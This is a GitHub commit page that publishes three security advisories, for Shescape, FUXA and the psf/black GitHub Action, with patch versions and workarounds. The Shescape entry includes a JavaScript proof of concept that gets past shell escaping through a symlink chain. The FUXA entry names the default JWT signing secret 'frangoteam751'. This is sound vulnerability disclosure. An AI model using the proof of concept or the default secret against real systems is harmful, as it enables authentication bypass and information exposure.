Skip to content

Commit 416fca0

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-6f6w-6j58-rq76 GHSA-c8m8-3jcr-6rj5 GHSA-v53h-f6m7-xcgm
1 parent a491c80 commit 416fca0

File tree

3 files changed

+183
-0
lines changed

3 files changed

+183
-0
lines changed

‎advisories/github-reviewed/2026/03/GHSA-6f6w-6j58-rq76/GHSA-6f6w-6j58-rq76.json‎

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6f6w-6j58-rq76",
4+
"modified": "2026-03-07T02:31:58Z",
5+
"published": "2026-03-07T02:31:58Z",
6+
"aliases": [],
7+
"summary": "Shescape has possible misidentification of shell due to link chains",
8+
"details": "### Impact\n\nThis impacts users of Shescape that configure their `shell` to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.\n\nIn particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):\n\n```javascript\nimport fs from \"node:fs\";\nimport { exec } from \"node:child_process\";\n\nimport { Shescape } from \"shescape\";\nimport which from \"which\";\n\n/* 1. Set up */\nconst shell = which.sync(\"bash\");\nconst linkToShell = \"./csh\";\nconst linkToLink = \"./link\";\n\nfs.rmSync(linkToLink, { force: true });\nfs.rmSync(linkToShell, { force: true });\nfs.symlinkSync(shell, linkToShell);\nfs.symlinkSync(linkToShell, linkToLink);\n\n/* 2. Misconfiguration */\nconst execOptions = {\n shell: linkToLink,\n};\n\nconst shescape = new Shescape({\n shell: execOptions.shell,\n});\n\n/* 3. Payload */\nconst userInput = \"a=:~\";\n\n/* 4. Attack example */\nexec(\n `echo Hello ${shescape.escape(userInput)}`,\n { shell: execOptions.shell },\n (error, stdout) => {\n fs.rmSync(linkToLink);\n fs.rmSync(linkToShell);\n\n if (error) {\n console.error(`An error occurred: ${error}`);\n } else {\n console.log(stdout);\n // Output: \"Hello a=:/home/user\"\n }\n },\n);\n```\n\n### Patches\n\nThis problem has been patched in [v2.1.9](https://www.npmjs.com/package/shescape/v/2.1.9) which you can upgrade to now.\n\n### Workarounds\n\nIf upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.\n\n### Resources\n\n- Shescape Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Shescape Release [v2.1.9](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9)\n\n### For more information\n\n- Comment on Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "shescape"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.1.9"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2.1.8"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6f6w-6j58-rq76"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/ericcornelissen/shescape/pull/2388"
47+
},
48+
{
49+
"type": "PACKAGE",
50+
"url": "https://github.com/ericcornelissen/shescape"
51+
},
52+
{
53+
"type": "WEB",
54+
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-200"
60+
],
61+
"severity": "LOW",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-03-07T02:31:58Z",
64+
"nvd_published_at": null
65+
}
66+
}

‎advisories/github-reviewed/2026/03/GHSA-c8m8-3jcr-6rj5/GHSA-c8m8-3jcr-6rj5.json‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c8m8-3jcr-6rj5",
4+
"modified": "2026-03-07T02:31:18Z",
5+
"published": "2026-03-07T02:31:18Z",
6+
"aliases": [],
7+
"summary": "FUXA has a hardcoded fallback JWT signing secret",
8+
"details": "FUXA used a static fallback JWT signing secret (`frangoteam751`) when no `secretCode` was configured.\n\nIf authentication was enabled without explicitly setting a custom secret, an attacker who knew the default value could forge valid JWT tokens and bypass authentication.\n\nThis issue has been addressed in version 1.3.0 by removing the static fallback and generating a secure random secret when no `secretCode` is provided.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@frangoteam/fuxa"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.3.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.2.11"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-c8m8-3jcr-6rj5"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/frangoteam/FUXA"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-321"
52+
],
53+
"severity": "HIGH",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-07T02:31:18Z",
56+
"nvd_published_at": null
57+
}
58+
}

‎advisories/github-reviewed/2026/03/GHSA-v53h-f6m7-xcgm/GHSA-v53h-f6m7-xcgm.json‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v53h-f6m7-xcgm",
4+
"modified": "2026-03-07T02:32:27Z",
5+
"published": "2026-03-07T02:32:27Z",
6+
"aliases": [],
7+
"summary": "Black's vulnerable version parsing leads to RCE in GitHub Action",
8+
"details": "### Impact\n\nBlack provides a [GitHub action](https://black.readthedocs.io/en/stable/integrations/github_actions.html) for formatting code. This action supports an option, `use_pyproject: true`, for reading the version of Black to use from the repository `pyproject.toml`. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action.\n\n### Patches\n\nVersion 26.3.0 fixes this vulnerability by tightening the validation of the `version` field. Users who use the GitHub Action as `psf/black@stable` will automatically pick up this update.\n\n### Workarounds\n\nDo not use the `use_pyproject: true` option in the psf/black GitHub Action.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "GitHub Actions",
19+
"name": "psf/black"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "26.3.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/psf/black/security/advisories/GHSA-v53h-f6m7-xcgm"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/psf/black/commit/0a2560b981364dde4c8cf8ce9d164c40669a8611"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/psf/black"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-20"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-07T02:32:27Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)